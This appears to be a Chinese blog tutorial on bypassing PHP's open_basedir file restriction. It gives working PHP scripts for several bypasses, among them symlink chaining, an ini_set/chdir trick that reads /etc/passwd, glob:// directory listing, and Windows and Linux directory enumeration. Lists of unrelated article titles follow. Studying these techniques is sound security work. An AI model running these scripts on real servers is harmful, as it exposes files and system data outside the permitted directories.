Open_basedir绕过

一.基础知识

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的

用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是

可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

我们在wwwroot目录下创建一个html文件夹和一个文本文件1.txt

其中1.txt内容为123456

html为网站根目录,下有一个index.php和test.php

其中test.php就是我们用来测试的php文件,如下

<?php
highlight_file("../1.txt");
$file=file_get_contents('../1.txt');
echo $file;
?>

在未设置open_basedir的情况下访问结果

我们设置open_basedir

即只能访问html目录下的文件

可见,无论是file_get_contents函数还是highlight_file都无效

二.命令执行函数绕过

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们将test.php修改后

可见可以无视open_basedir,但是一般都会禁用命令执行函数,所以实用价值不大

三.软链接:symlink()函数

注意: 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接

此次实验环境:linux Ubuntu18.04.4 php 7.1.31

我们首先尝试使用symlink创建一个软链接

目标指向html目录下的error文件夹,访问后发现生成一个链接

双击进去可以访问到如下

我们保持之前的设置不变,尝试在open_basedir设置到html目录下,读取和html文件夹平行的1.txt

我们给出漏洞php内容

<?php
mkdir("c");
chdir("c");
mkdir("d");
chdir("d");
chdir("..");
chdir("..");
symlink("c/d","tmplink");
symlink("tmplink/../../1.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("http://localhost/exploit");
?>

运行后结果如下,可见在html下生成c/d/和tmplink以及exploit,而我们成功读取到了1.txt的内容

我们可以查看一下链接

exploit链接到的是tmplink/../../1.txt,而tmplink链接到c/d,相当于exploit链接到c/d/../../1.txt,路径在open_basedir规定的目录下,符合操作规范,之后删除了tmplink链接,创建了tmplink实体文件夹,相当于此时的exploit指向的就是tmplink/../../1.txt,也就成功读取到了1.txt

关于软链也可以有另一种做法,测试php如下

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');

原理是一样的,只不过把软链改为实体文件夹的步骤换成了重构软链目标

四.glob伪协议

glob伪协议在筛选目录时不受open_basedir制约

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>

上述payload可在php5.3以上读取仅针对linux根目录的目录

五. 利用ini_set读取文件内容

我们给出漏洞利用脚本,由于漏洞原理复杂,有兴趣可以自己研究,这里就不叙述

<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>

注意这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

六.其他读目录方式

对于windows系统

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
realpath($file);
}
function isexists($errno, $errstr)
{
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) {
printf("%s <br/>", $matches[1]);
}
}
?>
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
dump($re);
}
}
function dump($s){
echo $s . '<br/>';
ob_flush();
flush();
}

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>

以上都是windows下的列目录方式,用到了windows下通配符<>

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录

参考资料

https://www.jianshu.com/p/cf2cd07d02cf

https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html

https://blog.csdn.net/weixin_33810302/article/details/87981560

最新文章

  1. 判断IEnumerable&lt;T&gt;集合中是否包含有T对象
  2. Linux(Centos)之安装Java JDK及注意事项
  3. Zookeeper概论(对zookeeper的概论、原理、架构等的理解)
  4. java 将字符串下载为文本文件
  5. EFW框架问题收集与答疑
  6. Socket常见错误
  7. 安卓RadioButton的使用
  8. Flex+Struts2+JSON实现Flex和后台的HTTP Service请求
  9. windows下常用快捷键
  10. Etcd学习(二)集群搭建Clustering
  11. HTML, CSS学习笔记(完整版)
  12. iPhone、iPod和iPad离线固件升级的方法
  13. ural 1932 The Secret of Identifier (容斥原理)
  14. a标签的target的四个值
  15. 使用Keras训练大规模数据集
  16. Vue+Django2.0 restframework打造前后端分离的生鲜电商项目(1)
  17. day01编程语言,计算机组成: 五大组成部分,计算机三大核心,进制,内存分布图,操作系统
  18. Flask web开发之路七
  19. BeautifulSoup 模块详解
  20. springmvc通过ajax异步请求返回json格式数据

热门文章

  1. 剑指Offer_WEEK01
  2. G - Pyramid 题解(打表)
  3. CentOS SSH安全和配置无密码登录
  4. IdentityServer4系列 | 资源密码凭证模式
  5. OpenCV-Python setMouseCallback回调函数中图像变量img的传递方法解析
  6. 第2.2节 Python的语句
  7. 什么是Python迭代器?
  8. PyQt(Python+Qt)学习随笔:Qt Designer中toolBar的floatable属性
  9. LoadRunner 多用户并发 登录,上传数据,登出的脚本教程
  10. Nmap学习使用指南